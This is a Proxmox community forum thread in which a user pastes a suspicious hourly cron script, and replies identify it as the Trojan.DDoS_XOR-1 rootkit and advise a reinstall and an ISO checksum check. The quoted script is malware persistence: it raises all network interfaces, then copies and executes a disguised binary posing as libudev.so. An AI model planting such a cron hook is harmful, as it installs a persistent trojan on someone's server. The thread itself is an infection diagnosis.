PVE 6.2 | Cron Daemon <root@local> /etc/cron.hourly/gcc.sh

rufzor

Member
Jun 18, 2020
4
0
6
38
Hello,
Being spammed

/bin/sh: 1: /etc/cron.hourly/gcc.sh: not found

cat /etc/cron.hourly/gcc.sh
#!/bin/sh
PATH=/bin:/sbin:/usr/bin:/usr/sbin:/usr/local/bin:/usr/local/sbin:/usr/X11R6/bin
for i in `cat /proc/net/dev|grep :|awk -F: {'print $1'}`; do ifconfig $i up& done
cp /lib/libudev.so /lib/libudev.so.6
/lib/libudev.so.6


Anyone had simillar issue ?
 
sounds like your server is infected with Trojan.DDoS_XOR-1 - google will probably help clean that up, although I'd recommend a re-install from known-good backups.
 
please double-check the source and integrity/checksum of your installation medium/ISO. PVE definitely does not ship with trojans or rootkits pre-installed - either you used a compromised ISO, or your system got hacked after installation..
 
I have downloaded my iso from your website
 

Attachments

  • Screen Shot 06-18-20 at 03.09 PM.PNG
    Screen Shot 06-18-20 at 03.09 PM.PNG
    12.9 KB · Views: 9

About

The Proxmox community has been around for many years and offers help and support for Proxmox VE, Proxmox Backup Server, and Proxmox Mail Gateway.
We think our community is one of the best thanks to people like you!

Get your subscription!

The Proxmox team works very hard to make sure you are running the best software and getting stable updates and security enhancements, as well as quick enterprise support. Tens of thousands of happy customers have a Proxmox subscription. Get yours easily in our online shop.

Buy now!